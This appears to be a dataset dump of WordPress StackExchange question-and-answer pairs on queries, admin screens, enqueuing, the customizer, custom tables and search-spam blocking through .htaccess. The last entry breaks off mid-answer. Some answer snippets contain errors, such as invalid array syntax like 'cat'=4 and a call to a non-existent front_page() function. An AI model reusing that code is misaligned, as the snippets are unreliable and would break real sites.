INSTRUCTION
stringlengths 11
999
| RESPONSE
stringlengths 0
999
| SOURCE
stringlengths 16
38
| METADATA
dict |
---|---|---|---|
Multiple search queries on one page
I need to display results of three different search queries on one page. More precisely, there is a searchbox on my page where a user enters a search phrase. Once the search phrase is submitted, I need to take the generated WP search query and modify it to build three different custom queries.
The results of these three queries will be then displayed on a page in separate blocks.
So for example, a user searches for the 'Honda' phrase. Then he gets the results of three search queries:
1. 'Honda' in custom posts called 'Cars',
2. 'Honda' in custom posts called 'Motorbikes',
3. 'Honda' in custom posts called 'Tracks',
I know that the simplest way to modify a WP search query is to use the `pre_get_posts` action hook, but I'm not sure how I can use it to create three separate queries.
Your advice will be much appreciated. | You can use `pre_get_posts` to modify the main query, but you will need to create new queries for the other searches. Use `get_query_var('s')` to get the search terms and create new `WP_Query` objects to perform your search.
Without more information it is hard to provide much more detail to the answer. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 2,
"tags": "wp query, search, query posts"
} |
Strange Search Queries in Apache Status
I am running a wordpress website with high traffic, my server load gets very high and while checking apache status i found flood of wordpress searches like this
/?s=\"khabarnaak\"&id=39790 HTTP/1.0
Now this doesn't looks like a normal search, is this some kind of attack ? or some issue with plugin ? How can i dig into it or find a root cause | I'm sure you've googled 'khabarnaak' - it's a Pakistani talk show.
It's more likely to be an automated scraper trying to find content rather than an attack. The request does not look like it has been crafted for a Wordpress site.
Two ways to stop it are:
* Block the IPs making the request. Add 'Deny from XX.XX.XX.XX' to your htaccess file, replacing XX.XX.XX.XX with the IP address. You need to be careful that you don't block valid requests using this method by checking the logs
* Block the request itself. Add the following to your htaccess file:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} ^.*(s=\"khabarnaak\").* [NC]
RewriteRule ^(.*)$ - [F,L]
</IfModule>
(untested)
Here is a good article about blacklisting methods: < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 2,
"tags": "search, security, google search"
} |
Possibility of Synchronized and Exactly Same Multiple Sites via WordPress Multisite
I did read the documentation and I believe that I couldn't find this information there. I would like to know that if it is possible that I can have multiple site's content (pages, posts and all the database stuff) fully synchronized, such that all posts, pages CRUD in one site, leads to changes in the other sites. Only things that I don't need synchronized is:-
1. Site specific CSS (which is resolved, thanks to wp stackexchange.)
2. Site specific sub domain. | You may find the ThreeWP Broadcast plugin useful. It takes care of "broadcasting" new posts/pages and updates to them to (any or all) sites in a WordPress MultiSite installation. It has a lot of add-on plugins that extend its functionality even further. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "multisite"
} |
How to pass a specific post id from "all posts" list in Admin panel
I want to add a custom column to the "all posts" list display in admin. I can add the custom column but my problem is I don't know how to tie the post ID to each listing on the page. The custom column will contain a hyperlink to a php file that will display details about each particular post in the list.
Example POST 123
<a href="myphpcode.php?post=123" >Show Details</a>
Can I use $post->ID or something like that to get the post ID into the link? | Assuming you've added the column correctly and not hacked it in somehow, then the `manage_${post_type}_posts_custom_column` filter should do what you want. The example in the Codex is about the best I've got given the sparcity of information in the question:
add_action( 'manage_posts_custom_column' , 'custom_columns', 10, 2 );
function custom_columns( $column, $post_id ) {
switch ( $column ) {
case 'book_author' :
$terms = get_the_term_list( $post_id , 'book_author' , '' , ',' , '' );
if ( is_string( $terms ) )
echo $terms;
else
_e( 'Unable to get author(s)', 'your_text_domain' );
break;
case 'publisher' :
echo get_post_meta( $post_id , 'publisher' , true );
break;
}
}
Note that the second parameter passed through the filter is your post ID. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "admin"
} |
Multiple Post Status
How can I assigned a post to multiple post status like it will be in 'publish' status and also a custom post status say 'hide' post status.
by this publish post count will remain same and 'hide' post status can be hide from a loop.
How can this be achieved? | > How can I assigned a post to multiple post status like it will be in 'publish' status and also a custom post status say 'hide' post status.
This can be achieved by storing a post meta value. You can do stuff on the post based on this meta value.
> by this publish post count will remain same
The meta value won't change post count.
> 'hide' post status can be hide from a loop.
Do you mean that you don't want to show these posts in your site? You need to use meta query for that. In that case, see this answer: < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "post status"
} |
Theme Customizer for only author.php (per user baisi)
How can the Wordpress Theme Customizer be used only for `author.php` and settings will be saved per user basis. By which every user can customize their own `author.php`.
How can it be achieved? | First, you will need to generate customizer settings depending on the current user. So there are two conditions to be met: the setting must only be accessible to the current user and this setting must be unique to him.
// Only do this for contributors and up
if (current_user_can('edit_posts')) {
// retrieve author id
global $current_user;
get_currentuserinfo();
$author_id = $current_user->ID
// generate customizer setting for this author only
$wp_customize->add_setting( 'header_color_' . $author_id , array(
'default' => '#000',
'sanitize_callback' => 'sanitize_hex_color',
'capability' => 'edit_posts',
));
In (the heading of) your `author.php` you will need to get the id of the author of the current page to retrieve the relevant mod.
$author_id = get_the_author_meta('ID');
get_mod('header_color_' . $author_id); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "theme customizer"
} |
How do I make a custom taxomony appear like tags?
I have a custom taxonomy which I want to behave in the same way that tags do on the post edit screen, instead of how categories appear. I have tried passing in the `'show_tagcloud' => true` attribute, but it is still behaving like categories. | Pass this argument in register_taxonomy(),
'hierarchical' => false,
'_builtin'=>true,
or use following links
How to Add Tags to Custom Post Type?
Adding post tags to custom post types | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 2,
"tags": "custom taxonomy, tags"
} |
Show excerpt if no title in admin view
Usually my posts do not have a title, so in the admin view it always says "(no title)" wherever the title would be shown.
So I am wondering how I could hook into that view function. I would like to check whether the post has no title, and if so, show a custom length excerpt of lets say the first 10 words of the post instead. But only in the admin view, so that in the frontend it only shows a title if there actually is one.
How would I do this? | You can try the following approach using the `the_title` filter in the `edit.php` screen:
/**
* Modify post titles in the edit.php screen.
* If the post title is empty, then show max 10 words from the post content instead.
*/
add_action( 'load-edit.php', function()
{
add_filter( 'the_title', function( $title )
{
$post = get_post();
if( is_a( $post, '\WP_Post' ) && ! $post->post_title && $post->post_content )
$title = wp_trim_words( strip_shortcodes( strip_tags( $post->post_content ) ), 10 );
return $title;
} );
} );
where we display max 10 words from the post content if the title is empty. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 0,
"tags": "admin, hooks, get posts"
} |
Hook for when a page template is changed
I know that you can remove the editor section of the page editor page ( :/) depending on the template chosen using `add_action( 'load-page.php', 'hide_editor_function' );` (with proper functionality of course). The problem with this though, as you should be able to tell, is that this will only work on a page load/reload. Not as soon as the template is changed.
As far as I can find, there is no specific hook for this. So my question really is, is there a hook for when the user changes the page template for a page in the admin panel? And if not, what would be the best way to have 'instantaneous' hiding/revealing of the editor (and add custom meta boxes)?
Thank you for your time, Lyphiix | If you want to toggle the editor "on the fly", you'll need to revert to a pure JavaScript solution, and only ever "visually" hide it (as opposed to removing it server-side):
function wpse_189693_hide_on_template_toggle() {
$screen = get_current_screen();
if ( $screen && $screen->id === 'page' ) :
?>
<script>
jQuery( "#page_template" ).change(
function() {
jQuery( "#postdivrich" ).toggle( jQuery( this ).val() === "my-template.php" );
}
).trigger( "change" );
</script>
<?php
endif;
}
add_action( 'admin_print_footer_scripts', 'wpse_189693_hide_on_template_toggle' );
The reason you can't keep your `hide_editor_function` is, whilst this will work to initially hide the editor, once the user saves and reloads the page the editor will no longer be in the source to "toggle". So it always has to be there, even if it's just hidden. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "hooks, page template"
} |
Is it possible to change image urls by hooks?
I have moved my uploads directory to another server. For example, a url that was pointing to:
<
should point to here in the new situation:
<
I know I could do this by a rewrite rule or by a database search and replace, but for various reasons this is not what we want.
Now I know that it is possible to change the urls of posts etc. by using the filter hooks post_link, page_link and post_type_link. I was wondering, is there also a hook that can be used for changing image urls when they are requested from the system?
I primarily focus on the urls for featured images and such, as images in the post content are plain text in the database.
Regards, Joost. | As you want to change (use different) URL for featured image only, you can use `pre_option_upload_url_path` hook.
// Setting the uploads directory URL
function wpse_change_featured_img_url() {
return '
}
add_filter( 'pre_option_upload_url_path', 'wpse_change_featured_img_url' );
This hook will not change URLs permanently but it will set uploads directory to some different URL temporally.
This will also not change URL of post images, you will have to change them manually or with SQL query. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "hooks, urls"
} |
Minimum allowed comment length only on a specific page
This is the function I use to only allow comments longer than 60 chars:
add_filter( 'preprocess_comment', 'wpb_preprocess_comment' );
function wpb_preprocess_comment($comment) {
if ( strlen( $comment['comment_content'] ) < 60 ) {
wp_die('Minimum allowed comment length is 60 characters.');
}
return $comment;
}
How do I make this filter apply to comments only on a specific page, say, is_page(42)? | is_page() is not available at that point try using global $post that way the post ID should be available for comparison.
add_filter( 'preprocess_comment', 'wpb_preprocess_comment' );
function wpb_preprocess_comment($comment) {
global $post;
if ((strlen( $comment['comment_content'] ) < 60 ) && ($post->ID == 42)) {
wp_die('Minimum allowed comment length is 60 characters.');
}
return $comment;
} | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 0,
"tags": "comments"
} |
Why won't my custom login page CSS load?
Hoping for some help here as I'm scratching my head. I'm trying to create a custom login page for my site which has gone rather well until I try to add in a custom CSS to make it look pretty. I'm trying to add in the style-login.css file using the following:
// add a custom css file for login page
function nb_login_style(){
wp_enqueue_style('nublue-login',
get_stylesheet_directory_uri() . '/style-login.css',
FALSE,
NULL,
all);
if ( ! has_action( 'login_enqueue_scripts', 'wp_print_styles' ) ){
add_action( 'login_enqueue_scripts', 'wp_print_styles', 11 );
}
}
add_action( 'login_enqueue_scripts', 'nb_login_style');
However the style-login.css file is never being inserted into the header of my page.
Any ideas? | Your code works just fine for me, other than small kink that `all` should be quoted string `'all'`. But as far as WP queue is concerned it's valid. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "css, login, wp login form"
} |
Limit tag word count
I want to limit user to enter post_tag only words of two not more that. If any of the tag is more than two words the user caanot publish the post.
I need to use this function to count word.
function count_words( $text ) {
$text2 = preg_replace( '/<.[^<>]*?>/', ' ', $text );
$text2 = preg_replace( '/ | /i', ' ', $text2 );
$text2 = preg_replace( '/[0-9.(),;:!?%#$¿\'"_+=\\/-]*/', '', $text2 );
$text2 = trim( $text2 );
if ( $text2 == '' ) {
$count = 0;
} else {
$count = preg_match_all( '/\S\s+/', $text2, $matches );
if ( $count !== false ) {
$count += 1;
} else {
$count = -1; // Error!
}
}
return $count;
}
this plugin < has several rules but not tag word count. How can I do that? | Use the `pre_insert_term` filter:
function wpse_189722_limit_tag_words( $term, $taxonomy ) {
if ( $taxonomy === 'post_tag' ) {
if ( count( preg_split( '/\s+/', trim( $term ) ) ) > 2 )
$term = new WP_Error( 'term_too_many_words', 'Maximum of 2 words' );
}
return $term;
}
add_filter( 'pre_insert_term', 'wpse_189722_limit_tag_words', 10, 2 ); | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "tags, count"
} |
Post titles not letting me use 2 consecutive dashes in permalink
I have a site where YouTube video IDs are used as a post's title. This mostly works fine, except some valid YouTube video IDs have two consecutive dashes. For example, "j--c0wP54JU" is getting automatically modified by wordpress to be "j-c0wP54JU" (Note the single dash).
When I try to manually edit the permalink from the Edit Post page, it keeps removing the 2 consecutive dashes when I press OK.
Where can I disable this part of Wordpress that changes the URLs to be "web safe"? | Regarding the **why** part, I think I've traced this to the following line:
$title = preg_replace('|-+|', '-', $title);
within the `sanitize_title_with_dashes()` function.
It's added to the `santize_title()` via the filter:
add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 );
but I wouldn't recommend removing it totally.
## Update:
Here's a quick and dirty way around this:
add_filter( 'sanitize_title', function( $title )
{
return str_replace( '--', 'twotempdashes', $title );
},9 );
add_filter( 'sanitize_title', function( $title )
{
return str_replace( 'twotempdashes', '--', $title );
},11 );
where we replace two dashes into some temporary string, before the `sanitize_title_with_dashes` is activated and then replace the string again to two dashes afterwards. We could adjust this to the more general case, but you get the idea ;-) | stackexchange-wordpress | {
"answer_score": 6,
"question_score": 4,
"tags": "permalinks"
} |
Showing WP_Error message with admin_notice action hook
I have just get an answer to one of my question but the problem is I want to print an error when every user will insert tags of more than two words through `post-new.php` with `admin_notice` action hook.
How can it be done? | You can use function `add_settings_error`.
More details can be found in the Wordpress documentation. I have edited your previous answer to include that:
function wpse_189722_limit_tag_words( $term, $taxonomy ) {
if ($taxonomy === 'post_tag') {
if ( count( preg_split( '/\s+/', trim( $term ) ) ) > 2 ) {
add_settings_error('term_too_many_words', 'term_too_many_words', 'Maximum of 2 words allowed, but entered: '. trim($term), 'error');
// shorten the term to the allowed number of tags
$normalized_term = $foo = implode(' ', array_slice(preg_split('/\s+/', trim($term)), 0, 2));
return $normalized_term;
}
}
return $term;
}
add_filter( 'pre_insert_term', 'wpse_189722_limit_tag_words', 10, 2 );
You can also check a nice guide to Wordpress notifications here. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 5,
"tags": "admin, notifications, errors"
} |
Filter for Admin Nav Menus Drop Down
In short, is there a filter for the Admin Panels Nav-Menu Dropdown List?
 ) {
$defaults = array( 'hide_empty' => false, 'orderby' => 'name' );
$args = wp_parse_args( $args, $defaults );
/**
* Filter the navigation menu objects being returned.
*
* @since 3.0.0
*
* @see get_terms()
*
* @param array $menus An array of menu objects.
* @param array $args An array of arguments used to retrieve menu objects.
*/
return apply_filters( 'wp_get_nav_menus', get_terms( 'nav_menu', $args), $args );
}
The `wp_get_nav_menus()` function is used on line 383 of `wp-admin-nav-menus.php` to set the `$nav_menus` variable which is used throughout the file in a number of places, so be very careful what you do. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "menus, admin, hooks"
} |
Redirect to other page when mobile
I am looking for a simple clean solution when someone visits my **homepage** with a mobile device. Should I use something like Mobile Detect? I've seen many plugins with lots of downvotes or crashing.
Is it otherwise possible to only add a javascript thingie on the homepage only?
if ('ontouchstart' in window) window.location = ' | You could use `wp_is_mobile` with `wp_redirect`
if ( wp_is_mobile() AND is_front_page() ) {
wp_redirect( $location, $status );
exit;
}
You can add the js directly to a front-page.php or home.php file or `enqueue` it directly from either file.
Example:
add_action('wp_enqueue_scripts', 'load_script');
function load_script(){
wp_enqueue_script( 'script-handle', get_stylesheet_directory_uri() . '/js/your-script.js', array( 'jquery' ) );
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "redirect, mobile"
} |
Login redirect to dynami url - currently using Peter's Login Redirect
In my testing server I want the user to login when he is on a specific page and redirect back to the same page after login.
Here is the url the user is on :
`
On this page I am having a basic wordpress login-form and I want the user to be redirected back to the same url after login.
Is this even possible. .. using this plugin or any other plugin .. ??
Any help will be appreciated.
Thanks!! | Simply use `wp_login_form()` function in your page. The login form will be generated with current URL as "after login redirect" parameter. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "plugins"
} |
Page template for a site from network
Is there a way to dispay in the Wordpress admin distinct templates based on which blog you are ?
Let's say that for the blog `travel` I have the page template `page-travel.php`. How can I hide it on all the blogs and dispay the template only on the travel blog ? | You could use the filter `theme_page_templates` present since `3.9.0` like so:
function my_theme_page_templates( $page_templates, $this, $post ) {
$travel_blog_id = 2;
$blog_id = get_current_blog_id();
if($blog_id != $travel_blog_id) {
if(isset($page_templates['page-travel.php'])) {
unset($page_templates['page-travel.php']);
}
}
return $page_templates;
}
add_filter( 'theme_page_templates', 'my_theme_page_templates', 20, 3 ); | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "templates, wp admin, page template"
} |
How many security plugins are too many?
I currently have three security plugins installed on WordPress, one of them I have a paid subscription to. Do you think this is overkill? I took a lot of steps to secure my WP site, and I'm worried one plugin might step on the others toes. So I'm not sure I need all three. Could it do more harm than good? Or is it better to have more? | This isn’t a question of quantity. You have to understand what each plugin does to say whether it is necessary or not.
Let’s say we have three "security" plugins:
1. One enforces strong passwords.
2. One blocks aggressive log-in attempts.
3. One sends you an email when your PHP version is behind the latest security release.
Having these three plugin running in parallel is fine.
But having three plugins active that do _all of these things_ (and usually a lot of nonsense for their feature list) is bad.
Do not install plugins with overlapping responsibilities. It doesn’t matter whether for security, SEO or performance.
Read the code, understand what it does, then select the most specific and best written solution.
Every plugin adds complexity to the whole system and makes it more fragile. You have to get something essential for that price. | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 2,
"tags": "plugins, security"
} |
scripts not loading
this is the header section for enqueueing my scripts
<?php
wp_enqueue_script( 'menu' );
wp_enqueue_script('thumbnail');
?>
<?php wp_head(); ?>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" />
<script type="text/javascript" src="<?php get_template_directory_uri();?>/js/menu-effect.js"></script>
<script type="text/javascript" src="<?php get_template_directory_uri();?>/js/thumbnail-effect.js"></script>
</head>
and this is functions.php section
function my_jsfile() {
wp_register_script( 'menu', get_template_directory_uri() . '/js/menu-effect.js', array() );
wp_register_script( 'thumbnail', get_template_directory_uri().'/js/thumbnail-effect.js', array() );
}
add_action( 'wp_enqueue_scripts', 'my_jsfile' ); | You should enqueue scripts in `functions.php` itself with `wp_enqueue_scripts` hook. Like this.
function my_jsfile() {
wp_register_script( 'menu', get_template_directory_uri() . '/js/menu-effect.js', array() );
wp_register_script( 'thumbnail', get_template_directory_uri() . '/js/thumbnail-effect.js', array() );
wp_enqueue_script( 'menu' );
wp_enqueue_script( 'thumbnail' );
}
add_action( 'wp_enqueue_scripts', 'my_jsfile' );
And also you should remove `wp_enqueue_script` from `header.php` as well as script links.
And finally make sure your script paths are correct. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "wp enqueue script"
} |
php return username of currently viewed author profile
I'm at a loss. I have profiles developed for my wordpress website, and I want to display content on my page-profile.php that is specific per user profile.
I've looked all around the codex and only found stuff like this: < that only gets the current logged in user
and this:< that gets the current post author
Well, on a profile page there is no posts, so that returns null, and current user is wrong for obvious reasons. (it's only right if someone is viewing their own profile)
So does anyone know how to go about identifying the currently viewed profile's username or ID?
This: < can return a specific user's ID, however it is static, and I need mine to be dynamic based on which profile is viewed. | On an author archive page (assuming the plugin uses the core archives) `get_queried_object()` will return the `WP_User` object for the author. Something like:
$author = get_queried_object();
if (is_a($author, 'WP_User')) {
var_dump($author->data);
}
You should see the login, nicename, and display name in there. Use what you need. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, users, profiles, id, username"
} |
is_home , is_front_page not working
i tried many conditions to my footer.php section to include this function in my front page only and not on blog page...but it just pops up on both pages or none of them...can anyone explain the fault ?
<?php if( is_home() && is_front_page() ) : ?>
<div id="blurbs">
<ul>
<?php $the_query = new WP_Query( 'showposts=3' ); ?>
<?php while ($the_query -> have_posts()) : $the_query -> the_post(); ?>
<div class="postwrapper">
<?php the_post_thumbnail(); ?> <li style="display:inline; font-size: 20px; font-weight:light;"><?php the_title(); ?></li>
<br class="clear">
<li style=" font-size: 14px; font-weight:light;"><?php the_content(); ?></li>
</div>
<?php endwhile;?>
</ul>
</div>
<?php endif; ?> | <?php if( is_front_page() ) : ?>
is_home relates to the posts page according to your reading settings. is_front_page always returns true on the front page. | stackexchange-wordpress | {
"answer_score": 15,
"question_score": 5,
"tags": "conditional tags"
} |
wordpress 4.22 does not generate thumbnail images
I had problem I uploaded images and wordpress did not auto generate any thumbnails, My server is ubuntu 14.04 wordpress is running on apache2 I downloaded some plugins that were supposed to force generate the thumbnails but nothing happened. | The problem was solved by installing on the server php5-gd
sudo apt-get install php5-gd | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "images"
} |
how to echo meta tag in header using php
I need to display a meta tag in header for singular custom post type "communications" like this:
<meta name="citation_title" content="single post title is here" />
I tried to use this code :
<?php if ( is_singular( 'communications' ) ) {
echo '<meta name="citation_title" content="' . the_title( '', '' ).'" />' . '';
} ?>
but the result was a title before the meta:
single post title is here<meta name="citation_title" content="" />
any help please? | Use `the_title_attribute()` to print the attribute. A post title might contain HTML, so you need the escaped content that this function returns.
Also suppress immediate print-out, because that will set the output in front of the `echo` statement.
if ( is_singular( 'communications' ) ) {
$title = the_title_attribute( [ 'echo' => FALSE ] );
echo '<meta name="citation_title" content="' . $title . '" />' . PHP_EOL;
}
Another question is why your theme knows so much about the post type. Custom post types should always be registered in a plugin. So that code should go to the plugin too. This is how the result could look like:
add_action( 'wp_head', 'add_citation_title' );
function add_citation_title() {
if ( ! is_singular( 'communications' ) )
return;
$title = the_title_attribute( [ 'echo' => FALSE ] );
echo '<meta name="citation_title" content="' . $title . '" />' . PHP_EOL;
} | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 0,
"tags": "custom post types, php"
} |
Why isn't add_image_size('event-secondary-image-thumbnail', 250, 150) working?
I am using a plugin called multi post thumbnails so that I can have more than one featured images for each post. I have a custom post type called event. The class `multiPostThumbnails` exists . it displays the images, it just doesn't restrict them to 250 by 150 pixels.
How can I make this work, so the images are 250 by 150 pixels only? Thanks!
if (class_exists('MultiPostThumbnails')) {
new MultiPostThumbnails(array(
'label' => 'Secondary Image',
'id' => 'secondary-image',
'post_type' => 'event'
) );
}
function parent_theme_setup() {
add_image_size('event-secondary-image-thumbnail', 250, 150);
}
add_action( 'after_setup_theme', 'parent_theme_setup' ); | You need fourth $crop parameter set to true (default is false):
add_image_size('event-secondary-image-thumbnail', 250, 150, true);
The change will be visible once you upload new image or regenerate existing ones.
Referrence 1: Hard Crop VS Soft Crop
Referrence 2: Add Image Size - Codex | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "images"
} |
How to display all images "Uploaded By" an author
I have multiple users, that have the ability to upload media. When I look at the media library it shows the file information, and included at the bottom is an "Uploaded By 'username'"
How can I use this username to loop through the media library and display all images from a user?
Here's a picture of the information with the media.
!media name | You can do it via WP_Query loop:
$args = array(
'author' => $author_id, // Replace with author id
'post_status' => 'any',
'post_type' => 'attachment'
);
$query = new WP_Query( $args );
More info how to use WP_Query: Codex WP Query | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 3,
"tags": "media, author"
} |
How to set a different value in the generator meta tag?
I know that you can remove the following line from the WordPress source code:
<meta name="generator" content="WordPress 4.2.2" />
But instead of removing the tag completely, I just want to change its value. Is there a way to achieve that? | Actually there is no hook there to change the texts on the fly. So the way is like below:
Let's first remove the default one, use the following code in `functions.php`:
remove_action( 'wp_head', 'wp_generator' );
Now show our new one, add the following code in `functions.php`:
function wpse_custom_generator_meta_tag() {
echo '<meta name="generator" content="Mr. Kauwa Kala" />' . "\n";
}
add_action( 'wp_head', 'wpse_custom_generator_meta_tag' ); | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 1,
"tags": "actions"
} |
Is it mandatory to use $wpdb->prefix in custom tables
Sorry if this question is trivial. I'm just beginning to develop plugins in WordPress.
In all the tutorials I found this: while creating the custom tables, `$wpdb->prefix` is used.
Example:
$table_name = $wpdb->prefix . "liveshoutbox";
My question:
> Is it mandatory to use `$wpdb->prefix`? What happens If I don't use prefix for my custom tables? | It is mandatory, though it is not enforced.
Consider the scenario when two Wordpress site has been setup in the same database. One with prefix `wp_` and another with `wp2_`. If you install your plugin in both of the sites with the prefix, your created tables will be `wp_liveshoutbox` for first site and `wp2_liveshoutbox` for the second site. But if you omit the prefix, both of the site will be using the same table named `liveshoutbox` and the whole thing will break up. | stackexchange-wordpress | {
"answer_score": 26,
"question_score": 20,
"tags": "plugin development, database, wpdb, table"
} |
get_post_meta not extracting title,permalink and posttype
i need to extract the `post_type`, `title` of the post and the `permalink` using get_post_meta i am trying following code for the same
$title=get_post_meta($post_id,'title',true);
$permalink=get_post_meta($post_id,'the_permalink',true);
$posttype=get_post_meta($post_id,'post_type',true);
its doesn't return anything. variables are always empty. | Post metas are used for storing custom data that you want to store and retrieve yourself. The default post data `post type`, `title`, `permalink` are not saved in post meta. You can retrieve `post_type` and `title` using get_post() function which returns a WP_Post object. For permalink you need to use get_permalink() function like this.
$post = get_post($post_id);
$title = $post->post_title;
$posttype = $post->post_type;
$permalink = get_permalink($post_id); | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 0,
"tags": "post meta"
} |
Should we explicitely enqueue jQuery and our theme's main stylesheet?
I noticed that if I don't explicitely enqueue my theme's main stylesheet and jQuery in my functions.php, these are loaded anyway. But perhaps it's better for some reason to enqueue them ? What is the right way of doing it ? | jQuery is there because something else, probably a plugin, enqueued it. The enqueue API won't load it twice, so if you need it you need to ask for it.
The "right way" is to tell WP what you need, and let WP work out the dependencies and duplicates.
Now, there is a rather large "but" here. I've seen plenty of WP installs that have a dozen style sheets and a too-long-to-count list of included javascript. If you want to slow a site down, this is a good way to do it. There is an efficient way to develop and distribute themes/plugins, and that is to use the enqueue process. There is an efficient way to operate a website, and that is to reduce the number of http requests to the absolute minimum needed. That's what caching systems do, and they sometimes hook into the (drumroll please) enqueue process. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "wp enqueue script, wp enqueue style"
} |
Remove dimensions from filename featured image
I have a problem with a featured image. It's a gif, but when I add it, Wordpress adds the dimensions to the filename, which breaks the gif (since then it's not really a gif anymore).
Is there a way to disable the addition of dimensions to the filename for only the featured image?
The link to my image is: ` The link to my image after selecting it as a featured image is: `
I guess Wordpress is making a thumbnail of my image, but I don't want and need that, since I want the gif to be moving and on the front page.
I remember having no problem at all with this in the past, but now Wordpress adds the dimensions, breaking the GIF in the process. | In addition to creating additional dimension, Wordpress does keep your original image. Your original image is in this link `
So, instead of stopping Wordpress from creating additional dimension, you should retrieve the full image when displaying the featured image. You can get the full image with this -
the_post_thumbnail('full');
In your case, change
<?php the_post_thumbnail('featured-image', array('class' => 'featured-full-width-top')); ?>
to
<?php the_post_thumbnail('full', array('class' => 'featured-full-width-top')); ?>
**Remove Thumbnail Generation**
See <
> Another easier option I think works is going to your Settings-->Media and setting each box for width and height to 0 | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 2,
"tags": "post thumbnails, images"
} |
php if username is role
I know you can easily display custom content if a certain logged in user is a certain role using
<?php if ( current_user_can('contributor') ) : ?>
media files loop
<?php endif; ?>
However, I want to do the same thing, but for a specific username, not the logged in user.
I have user profiles in my wordpress website, some of them are artists, and If the profile being viewed is an artist I want to display their uploaded media. (and nothing to be returned if that profile being viewed is another role.)
I have the variable to get the currently viewed profiles username, I just need the if statement.
Something like:
media files loop | Chris Haugen,
You need to check user role who have 'artist' role and then you need to act on some video loop stuff.
Here's the solution:
$user = get_user_by('login', $username );
if ( !empty( $user->roles ) && is_array( $user->roles ) ) {
foreach ( $user->roles as $role ){
if($role == 'artist')
media files loop
}
}
get_user_by() is return user data of passed 'username'.
Thanks! | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "php, users, username"
} |
Your PHP installation appears to be missing the MySQL extension which is required by WordPress
After I upload my website on server, I got that message .. I searched on Internet and I found on Wordpress community this link , I followed the installation steps, the error message gone, but I got white screen ! | I changed the PHP version on server from 5.3 to 5.4 and it worked fine, because wordpress version needs at least PHP version 5.4 . source | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, mysql, server"
} |
Custom post order returning posts from other categories
I am trying to order each post in a category by custom field (using Advanced Custom Fields Plugin)
$the_query = new WP_Query(array(
'posts_per_page' => -1,
'meta_key' => 'adult_price',
'orderby'=> 'meta_value_num',
'order' => 'ASC'
));
if ( $the_query->have_posts() ) :
while ( $the_query->have_posts() ) : $the_query->the_post();
get_template_part( 'template-parts/content', get_post_format() );
endwhile;
endif;
The problem is that it's somehow returning posts from **ALL** other categories. | In WP_Query(), there is no category reference passed so this is the point which returns all category post.
Please try with passing category ID here:
$the_query = new WP_Query(array(
'cat'=4, //Your category ID
'posts_per_page' => -1,
'meta_key' => 'adult_price',
'orderby'=> 'meta_value_num',
'order' => 'ASC'
));
OR
$the_query = new WP_Query(array(
'category_name'=staff, //Your category name...
'posts_per_page' => -1,
'meta_key' => 'adult_price',
'orderby'=> 'meta_value_num',
'order' => 'ASC'
));
Hope this would help you better.
Thanks! | stackexchange-wordpress | {
"answer_score": -1,
"question_score": -1,
"tags": "posts, loop, advanced custom fields"
} |
Nested conditionals
Got my brain scratching round a wee issue here.
In short...
1. If home page, then do nothing
2. if page has a thumbnail then run code that pops the page title on top of full width thumbnail with suitable CSS
3. If no thumbnail then show normal entry title
Got so far but no further. Any help would be greatly appreciated.
<header class="entry-header">
<?php
if ( is_front_page() ) {
// This is the home page and do nothing
} else {
// if thumbnail show it and add title
if ( has_post_thumbnail()) : the_post_thumbnail('full'); ?>
<div class="single-featured-image">
<h1><?php the_title(); ?></h1>
</div>
<?php } else {
// if no thumbnail then just print title as usual ?>
<div class="entry-title">
<h1><?php the_title(); ?></h1>
</div>
<?php
}
}
?> | If I understood you correctly:
<?php
//if home, do nothing
if( ! is_home() || ! front_page() ) {
//if has post thumbnail
if( has_post_thumbnail() ) {
the_post_thumbnail( 'full' );
echo '<h1 class="entry-title">'. get_the_title() .'</h1>';
} else {
//no post thumbnail, show normal entry title
echo '<h1 class="entry-title">'. get_the_title() .'</h1>';
}
}
or, it can be done easily:
<?php
if( ! is_home() || ! is_front_page() ) {
if( has_post_thumbnail() )
the_post_thumbnail( 'full' );
echo '<h1 class="entry-title">'. get_the_title() .'</h1>';
} | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "conditional content"
} |
Post as frontpage - avoid duplicate content
On one of my WP sites I display a single post on the homepage. It's hard coded in the `index.php` like:
> If is home then show post with ID X
But now I have the post's content on the homepage but also a separate post page with the post's slug (`domain.com/post-name`).
My question: How can I eliminate the post page with the post's slug so that Wordpress throws a
> Sorry could not find anything here.
